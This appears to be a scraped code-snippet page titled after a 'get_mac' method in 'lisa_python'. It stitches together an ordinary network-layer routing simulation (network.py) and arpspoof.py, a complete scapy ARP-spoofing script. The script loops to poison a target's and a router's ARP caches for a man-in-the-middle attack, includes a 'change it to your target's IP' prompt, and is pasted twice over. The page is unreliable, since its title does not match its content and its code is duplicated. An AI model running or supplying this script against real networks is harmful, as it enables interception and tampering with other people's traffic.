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How to use get_mac method in lisa

Best Python code snippet using lisa_python

network.py

Source:network.py

...30            print("* Creating a package in network_layer *")31            print('* '*20, '\n')3233            #new package with the message34            pck = package(Network_layer._id_pck,'DATA',message,self.host.get_mac(),destination)35            logging.info(f' Created a DATA package from host[{self.host.get_mac()}] to host[{destination}]')36            37            pck.package_info() # prints the package information38            Network_layer._id_pck += 1 # update the id3940            # checks if the destination is my neighbor41            nb = self.host.get_neighbors()42            var = False43            for obj in nb:44                if destination == obj.get_mac():45                    var = True46                    break    4748            # destination is a host's neighbor49            if var:50                logging.info(f' Host{destination} is my neighbor, so I can send')51                self.host.link.sending_request(pck)5253            # if is not my neighbor, then check if I have a way to him54            if self.table.get_route() != {}:55                print("\033[36m\t\tL3: I HAVE A ROUTE TABLE, BUT I DO NOT KNOW IF I HAVE DESTINY ON IT \033[37m")56                # set the next jump57                next_jp = self.table.next_jump(destination, self.host)58                59                if next_jp:60                    logging.info(f' I(host{self.host.get_mac()}) can get into the destination')61                    logging.info(f' And the next jump is to host[{next_jp}]')62                    pck.add_path(self.host)63                    pck.add_next(next_jp)64                    self.host.link.sending_request(pck)65            66            # if the host can't get into the destination, then it make a RREQ67            else :68                print(f"\033[36m +++++++++ L3: HOST{self.host.get_mac()} HAS NO ROUTE TO {destination}\033[37m")69                logging.info(f' I am host[{self.host.get_mac()}] and do not have a route for {destination} yet')70                self.create_RREQ_pck(pck)71            7273    # create a REQUEST pck and send to link_layer74    def create_RREQ_pck(self,pck):75        self.pending_pck.append(pck) # save the package to send later76        77        pck_RREQ = package(Network_layer._id_pck,'RREQ',"I am a RREQ",self.host.get_mac(),pck.get_destination())78        Network_layer._id_pck += 179        # if the host makes this type of pck, is saves to a list, so it won't send again80        self.received_pck.append(pck_RREQ.get_id())81        82        # print for debugging83        print(f'\t\t\033[36m HOST[{self.host.get_mac()}] IS CREATING A RREQ TO {pck.get_destination()}\033[37m\n')84        print(f'\t\t\033[36m HOST[{self.host.get_mac()}] IS ADDING ITSELF TO THE PATH\033[37m\n')85        86        # log print87        logging.info(f' Host[{self.host.get_mac()}] created a RREQ pack to host[{pck.get_destination()}]')88        logging.info(f' I am adding myself to the path')8990        pck_RREQ.add_path(self.host) # adding itself on the path91        self.host.link.sending_request(pck_RREQ) # send a request to master92        9394    # create a REPLY pck and send to link_layer95    def create_RREP_pck(self,pck_RREQ):96        pck_RREP = package(Network_layer._id_pck,'RREP',"i am a RREP",self.host.get_mac(),pck_RREQ.get_originator())97        98        logging.info(f' I am host[{self.host.get_mac()}] and received a RREQ pack from host[{pck_RREQ.get_originator()}]')99        logging.info(f' Host[{self.host.get_mac()}] is sending a RREP to host[{pck_RREQ.get_originator()}]')100        101        print(f'\033[36m --- HOST[{self.host.get_mac()}] is sending a RREP to HOST[{pck_RREQ.get_originator()}] ---\033[37m')102        Network_layer._id_pck += 1103        104        # get the way back105        way_back = pck_RREQ.get_path()106        for way in way_back:107            # save the way that pck has being through108            pck_RREP.add_path(way)109        110        # saving route111        self.table.save_route(way_back, pck_RREQ.get_originator())112        way_back.reverse()113114        # The next jump is who sent to me115        next = way_back.pop(1)116        pck_RREP.add_next(next.get_mac())117        118        #than send to link layer119        self.host.link.sending_request(pck_RREP) 120121122    # Function to processe all packages received123    def receive_pck(self,pck):124        actual_mac = self.host.get_mac()125        126        if pck.get_type() == 'DATA':  127            # final point gets the package              128            if pck.get_destination() == self.host.get_mac():129                if self.add_received_pck(pck.get_id()):130                    print('\033[33m *'*28)131                    print(f'* I AM HOST[{self.host.get_mac()}] AND RECEIVED THE PACKAGE [{pck.get_contents()}] *')132                    print(' *'*28, '\033[37m')133134                    logging.info(f' **** Host[{actual_mac}] received a pack from host[{pck.get_originator()}], message is [{pck.get_contents()}] ****')135                else:136                    pass137            #print for debugging138            print(f'\n\t \033[36m HOST[{actual_mac}] HAS PACK ? =======>{pck.get_next() == self.host.get_mac()} \033[37m')139            140            # the package is not for the actual host, it's on the path141            if (pck.get_destination() != self.host.get_mac() and pck.get_next() == self.host.get_mac()):142                print(f'\n \033[36m +++++ L3: HOST[{self.host.get_mac()}] RECIEVING A DATA PCK, BUT IS NOT MYNE -->[{pck.get_destination()}]\033[37m')143                logging.info(f'I am host[{actual_mac}] receiveing a data pack with id: {pck.get_id()}, but is not for me')144                145                if self.add_received_pck(pck.get_id()):146                    path = pck.get_path()147                    #print(f'THE PATH IS :{path}')148                    # get the next jump149                    next_jp = path.index(self.host)+1150                    next_jp = path[next_jp]151                    print(f'\033[36m NEXT POINT IS {next_jp.get_mac()}')152                    pck.add_next(next_jp.get_mac())153154                    #then send the package155                    self.host.link.sending_request(pck)156                else:157                    pass158                159160        if pck.get_type() == 'RREQ': # process request packages161            # if the request is for the actual host, then it must reply162            if pck.get_destination() == self.host.get_mac():163                if self.add_received_pck(pck.get_id()): # check if already have this pck 164                    pck.add_path(self.host)# add itself in the path165                        166                    # creates a reply package 167                    self.create_RREP_pck(pck)168                    # make a function or an attribute to add this new route169                else:170                    pass171                    172            else: # the request is not for the actual host173                if self.add_received_pck(pck.get_id()):174                    # ** verify the route table ** (still in progress)175                    # if has no way, just make a broadcast176                    logging.info(f' I am host[{actual_mac}] receiving a RREQ id:[{pck.get_id()}], but I am not the destination')177                    logging.info(f' So I (host[{actual_mac}]) must make a broadcast sending to my nighbors')178179                    pck.add_path(self.host)180                    self.host.link.sending_request(pck)181                182        183        if pck.get_type() == 'RREP':184            # checks if the actual host is the destination and still doesn't have this package185            if pck.get_destination() == self.host.get_mac() and self.add_received_pck(pck.get_id()):186                print(f"\n\033[36m +++++++++ L3: HOST[{self.host.get_mac()}] MUST SEND THE DATA PACKAGE \033[37m")187                188                logging.info(f" I am host[{actual_mac}] and received a RREP from host[{pck.get_originator()}]")189                logging.info(f" So I(host[{actual_mac}]) must send the data pack!")190191                data_pck = self.pending_pck.pop(0) # remove the 1rs pck from remaining ones192                way_back = pck.get_path()193                194                # save the way that pck has being through195                for way in way_back:196                    data_pck.add_path(way)197                    print(f'\n\033[36m GOT MY REPLY AND THAT IS THE WAY =>{way.get_mac()}\033[37m')198                199                self.table.save_route(way_back, pck.get_originator()) # save into the host's route table200                #add next201                try:202                    next_jump = way_back.index(self.host)+1 # check the position of actual host203                except Exception as e:204                    # must find a way function205                    print(e)206                    207                print(f'MY DATA PACK PATH IS => {data_pck.get_path()}')208                next_jump = way_back[next_jump] #get the next jump209                logging.info(f' And the next jump is to host[{next_jump.get_mac()}]')210                data_pck.add_next(next_jump.get_mac())# add the next jump to the pck information211                #print(f'\nL3: NEXT POINT IS {next_jump.get_mac()}')212                213                #send data214                self.host.link.sending_request(data_pck)215            216217            # the actual host is the next jump and is getting this pck for the 1rs time218            elif pck.get_next() == self.host.get_mac() and self.add_received_pck(pck.get_id()):219                logging.info(f' I am host[{actual_mac}], received a DATA pack, but is not for me')220                logging.info(f" So I(host[{actual_mac}]) must send to next point")221                way_back = pck.get_path()222                223                try:224                    next_jump = way_back.index(self.host)-1 # check the position of actual host225                except Exception as e:226                    # ** must find a way function **227                    print(e)228                    229                next_jump = way_back[next_jump] #get the next jump230                logging.info(f' And the next jump is to host[{next_jump.get_mac()}]')231                pck.add_next(next_jump.get_mac())# add the next jump to the pck information
...

arpspoof.py

Source:arpspoof.py

1import scapy.all as scapy2import time3def get_mac(ip):4    arp_request = scapy.ARP(pdst=ip)5    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")6    arp_broadcast = broadcast / arp_request7    answers_list = scapy.srp(arp_broadcast, timeout=1, verbose=False)[0]8    return answers_list[0][1].hwsrc9def spoof(target_ip, spoof_ip):  # arp spoofing main10    target_mac = get_mac(target_ip)11    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)12    scapy.send(packet)13def restore(dest_ip, source_ip):  # restoring mac before closing(keyboard interrupt)14    dest_mac = get_mac(dest_ip)15    source_mac = get_mac(source_ip)16    packet = scapy.ARP(op=2, pdst=dest_ip, hwdst=dest_mac, psrc=source_ip, hwsrc=source_mac)17    scapy.send(packet, count=4, verbose=False)18router_ip = "192.168.1.1"  # change it to your router IP19target_ip = "192.168.1.4"  # change it to your target's IP20count = 021try:22    while True:23        spoof(target_ip, router_ip)24        spoof(router_ip, target_ip)25        count = count + 226        print("\r [X] Packet Sent " + str(count), end="")27        time.sleep(2)28except KeyboardInterrupt:29    print("\n {X} Quitting ARP Spoof and Restoring ARP")30    restore(target_ip, router_ip)31    restore(router_ip, target_ip)32    print("[X] Restoring Done")33import scapy.all as scapy34import time35def get_mac(ip):36    arp_request = scapy.ARP(pdst=ip)37    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")38    arp_broadcast = broadcast / arp_request39    answers_list = scapy.srp(arp_broadcast, timeout=1, verbose=False)[0]40    return answers_list[0][1].hwsrc41def spoof(target_ip, spoof_ip):  # arp spoofing main42    target_mac = get_mac(target_ip)43    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)44    scapy.send(packet)45def restore(dest_ip, source_ip):  # restoring mac before closing(keyboard interrupt)46    dest_mac = get_mac(dest_ip)47    source_mac = get_mac(source_ip)48    packet = scapy.ARP(op=2, pdst=dest_ip, hwdst=dest_mac, psrc=source_ip, hwsrc=source_mac)49    scapy.send(packet, count=4, verbose=False)50router_ip = "192.168.1.1"  # change it to your router IP51target_ip = "192.168.1.15"  # change it to your target's IP52count = 053try:54    while True:55        spoof(target_ip, router_ip)56        spoof(router_ip, target_ip)57        count = count + 258        print("\r [X] Packet Sent " + str(count), end="")59        time.sleep(2)60except KeyboardInterrupt:61    print("\n {X} Quitting ARP Spoof and Restoring ARP")...

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